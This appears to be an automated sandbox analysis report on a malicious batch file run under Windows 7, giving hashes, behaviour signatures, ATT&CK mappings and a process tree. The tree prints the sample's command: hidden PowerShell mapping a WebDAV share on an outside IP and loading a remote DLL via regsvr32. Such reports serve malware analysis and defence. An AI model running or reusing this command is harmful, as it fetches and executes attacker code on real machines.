9588aa0cd8fbb8c68335d254a7fe0ab3eae885c22865bfaf510bb83b64160f66

Analysis

max time kernel
121s
max time network
121s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
22/07/2024, 11:33

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General

Target

151089410762499.bat
Size

15KB
MD5

4f030b0559327372bf7878f74c6d4e10
SHA1

b1902d874aa1f9e331b25c667a3069f1fc92097f
SHA256

9588aa0cd8fbb8c68335d254a7fe0ab3eae885c22865bfaf510bb83b64160f66
SHA512

bebd50980e517dc54a83a8e2a7d86449580445684661952c7fe7be14e481e732db45019f2b8b03949048607a6aaf949199f7e762b3a0ee5ab49e6302653b7452
SSDEEP

384:Cu1tWSITYmyOb2+HMrZIJpDasWjpCNVN8ZkrTQg/a6vQF45lJ2bavs:C2ZIThyOy+HoZIJpeHFCNVN0eTQg/aq+

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2244	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2244	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2244	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2112	wordpad.exe
2112	wordpad.exe
2112	wordpad.exe
2112	wordpad.exe
2112	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1712 wrote to memory of 2112	1712	cmd.exe	32
PID 1712 wrote to memory of 2112	1712	cmd.exe	32
PID 1712 wrote to memory of 2112	1712	cmd.exe	32
PID 1712 wrote to memory of 2244	1712	cmd.exe	33
PID 1712 wrote to memory of 2244	1712	cmd.exe	33
PID 1712 wrote to memory of 2244	1712	cmd.exe	33
PID 2244 wrote to memory of 2844	2244	powershell.exe	35
PID 2244 wrote to memory of 2844	2244	powershell.exe	35
PID 2244 wrote to memory of 2844	2244	powershell.exe	35
PID 2244 wrote to memory of 2704	2244	powershell.exe	36
PID 2244 wrote to memory of 2704	2244	powershell.exe	36
PID 2244 wrote to memory of 2704	2244	powershell.exe	36
PID 2244 wrote to memory of 2704	2244	powershell.exe	36
PID 2244 wrote to memory of 2704	2244	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\151089410762499.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1712
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\80862740529090.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2244
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2844
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\80862740529090.dll
    3⤵
    PID:2704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2244-23-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2244-24-0x00000000002C0000-0x00000000002C8000-memory.dmp

Filesize
32KB

Download